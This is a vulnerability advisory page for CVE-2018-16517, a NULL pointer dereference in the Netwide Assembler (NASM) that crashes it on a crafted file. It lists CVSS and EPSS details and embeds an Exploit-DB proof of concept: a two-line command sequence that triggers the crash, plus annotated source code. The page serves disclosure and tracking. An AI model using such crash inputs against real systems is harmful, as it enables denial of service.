CVE-2018-16517 : Detail

CVE-2018-16517

5.5
/
Medium
Memory Corruption
0.2%V3
Local
2018-09-06
21h00 +00:00
2020-07-13
18h06 +00:00
CVE.org
NVD
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CVE Descriptions

asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-476 NULL Pointer Dereference
The product dereferences a pointer that it expects to be valid but is NULL.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46726

Publication date : 2019-04-17 22h00 +00:00
Author : Fakhri Zulkifli
EDB Verified : No

# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC) # Date: 2018-09-05 # Exploit Author: Fakhri Zulkifli # Vendor Homepage: https://www.nasm.us/ # Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D # Version: 2.14rc15 and earlier # Tested on: 2.14rc15 # CVE : CVE-2018-16517 asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file. PoC: 1. echo "equ push rax" > poc 2. nasm -f elf poc insn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal(). [...] if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) { <-- not taken /* there's a label here */ first = false; result->label = tokval.t_charptr; i = stdscan(NULL, &tokval); if (i == ':') { /* skip over the optional colon */ i = stdscan(NULL, &tokval); } else if (i == 0) { nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1, "label alone on a line without a colon might be in error"); } if (i != TOKEN_INSN || tokval.t_integer != I_EQU) { /* * FIXME: location.segment could be NO_SEG, in which case * it is possible we should be passing 'absolute.segment'. Look into this. * Work out whether that is *really* what we should be doing. * Generally fix things. I think this is right as it is, but * am still not certain. */ define_label(result->label, in_absolute ? absolute.segment : location.segment, location.offset, true); [...] static bool islocal(const char *l) { if (tasm_compatible_mode) { if (l[0] == '@' && l[1] == '@') return true; } return (l[0] == '.' && l[1] != '.'); <-- boom }

Products Mentioned

Configuraton 0

Nasm>>Netwide_assembler >> Version To (including) 2.13.03

Nasm>>Netwide_assembler >> Version 2.14

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

Nasm>>Netwide_assembler >> Version 2.14.0

References

https://www.exploit-db.com/exploits/46726/
Tags : exploit, x_refsource_EXPLOIT-DB